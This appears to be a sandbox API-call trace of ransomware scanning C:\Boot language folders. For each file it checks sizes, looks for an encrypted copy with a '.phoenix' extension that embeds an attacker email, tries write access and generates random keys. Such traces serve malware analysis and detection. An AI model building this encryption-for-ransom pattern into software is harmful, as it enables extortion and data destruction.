	[0219.500] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.500] CloseHandle (hObject=0x2c0) returned 1
	[0219.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20
	[0219.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.500] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.501] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=67424) returned 1
	[0219.501] CloseHandle (hObject=0x2c0) returned 1
	[0219.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20
	[0219.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.501] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=42904) returned 1
	[0219.501] CloseHandle (hObject=0x2c0) returned 1
	[0219.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20
	[0219.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.501] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.502] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.502] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.502] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=66912) returned 1
	[0219.502] CloseHandle (hObject=0x2c0) returned 1
	[0219.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20
	[0219.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.502] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.502] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.502] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.502] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=42912) returned 1
	[0219.502] CloseHandle (hObject=0x2c0) returned 1
	[0219.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20
	[0219.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.503] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.503] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.503] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.503] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=75616) returned 1
	[0219.503] CloseHandle (hObject=0x2c0) returned 1
	[0219.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20
	[0219.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.503] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.503] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.503] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.503] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=75608) returned 1
	[0219.503] CloseHandle (hObject=0x2c0) returned 1
	[0219.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20
	[0219.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.504] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.504] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=811936) returned 1
	[0219.504] CloseHandle (hObject=0x2c0) returned 1
	[0219.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20
	[0219.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\memtest.exe.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.504] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.504] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.504] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=75616) returned 1
	[0219.504] CloseHandle (hObject=0x2c0) returned 1
	[0219.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20
	[0219.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.505] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.505] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.505] CloseHandle (hObject=0x2c0) returned 1
	[0219.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20
	[0219.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.505] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.505] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.505] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=78176) returned 1
	[0219.505] CloseHandle (hObject=0x2c0) returned 1
	[0219.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20
	[0219.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.506] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.506] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.506] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.506] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.506] CloseHandle (hObject=0x2c0) returned 1
	[0219.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20
	[0219.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.506] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.506] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.506] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.506] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77656) returned 1
	[0219.506] CloseHandle (hObject=0x2c0) returned 1
	[0219.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20
	[0219.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.507] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45984) returned 1
	[0219.507] CloseHandle (hObject=0x2c0) returned 1
	[0219.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20
	[0219.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.507] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.508] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76640) returned 1
	[0219.508] CloseHandle (hObject=0x2c0) returned 1
	[0219.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20
	[0219.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.508] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.508] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.508] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.508] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.508] CloseHandle (hObject=0x2c0) returned 1
	[0219.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20
	[0219.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.508] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.509] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.509] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76640) returned 1
	[0219.509] CloseHandle (hObject=0x2c0) returned 1
	[0219.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20
	[0219.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.509] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.509] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45984) returned 1
	[0219.509] CloseHandle (hObject=0x2c0) returned 1
	[0219.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20
	[0219.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.510] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.510] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=74080) returned 1
	[0219.510] CloseHandle (hObject=0x2c0) returned 1
	[0219.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20
	[0219.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.510] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
